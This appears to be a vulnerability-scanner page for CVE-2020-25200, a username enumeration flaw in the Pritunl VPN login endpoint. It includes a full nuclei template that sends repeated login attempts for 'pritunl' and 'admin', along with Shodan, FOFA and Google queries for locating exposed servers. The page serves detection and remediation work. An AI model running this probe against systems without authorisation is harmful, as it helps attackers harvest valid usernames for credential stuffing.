Pritunl VPN Server 1.29.2145.25 - Username Enumeration

mediumseverity

5.3CVSS score

7.5%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

Pritunl 1.29.2145.25 contains a username enumeration issue caused by different error responses in /auth/session login attempts, letting attackers verify valid usernames, exploit requires network access to the login endpoint.

Impact

Attackers can enumerate valid VPN usernames, potentially aiding targeted attacks or credential stuffing efforts.

Fix

Implement uniform error responses for login attempts to prevent username enumeration.

How to confirm it

Send: POST /auth/session
Positive when: status_code == 400 and contains_any(body, "Too many authentication attempts", "auth_too_many") and contains(header, "application/json")

Run it with nuclei: nuclei -id CVE-2020-25200 -u <target>

The full check

id: CVE-2020-25200

info:
  name: Pritunl VPN Server 1.29.2145.25 - Username Enumeration
  author: pussycat0x
  severity: medium
  description: |
    Pritunl 1.29.2145.25 contains a username enumeration issue caused by different error responses in /auth/session login attempts, letting attackers verify valid usernames, exploit requires network access to the login endpoint.
  impact: |
    Attackers can enumerate valid VPN usernames, potentially aiding targeted attacks or credential stuffing efforts.
  remediation: |
    Implement uniform error responses for login attempts to prevent username enumeration.
  reference:
    - https://github.com/lukaszstu/pritunl-CVE-2020-25200/blob/master/CVE-2020-25200
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-25200
    cwe-id: CWE-203
    epss-score: 0.0747
    epss-percentile: 0.94518
    cpe: cpe:2.3:a:pritunl:pritunl:1.29.2145.25:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 25
    vendor: pritunl
    product: pritunl
    shodan-query: http.title:"pritunl"
    fofa-query: title="pritunl"
    google-query: intitle:"pritunl"
  tags: cve,cve2020,pritunl,vpn,enum,vuln

http:
  - raw:
      - |
        POST /auth/session HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Origin: {{RootURL}}
        Referer: {{RootURL}}/login

        {"username":"{{username}}","password":"{{rand_int(10000,99999)}}"}

    attack: pitchfork

    payloads:
      username:
        - "pritunl"
        - "admin"

      attempt:
        - "1"
        - "2"
        - "3"
        - "4"
        - "5"
        - "6"
        - "7"
        - "8"
        - "9"
        - "10"
        - "11"
        - "12"
        - "13"
        - "14"
        - "15"
        - "16"
        - "17"
        - "18"
        - "19"
        - "20"
        - "21"
        - "22"
        - "23"
        - "24"
        - "25"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 400'
          - 'contains_any(body, "Too many authentication attempts", "auth_too_many")'
          - 'contains(header, "application/json")'
        condition: and

References

https://github.com/lukaszstu/pritunl-CVE-2020-25200/blob/master/CVE-2020-25200

Use this check only on systems you are authorised to test. Where the data comes from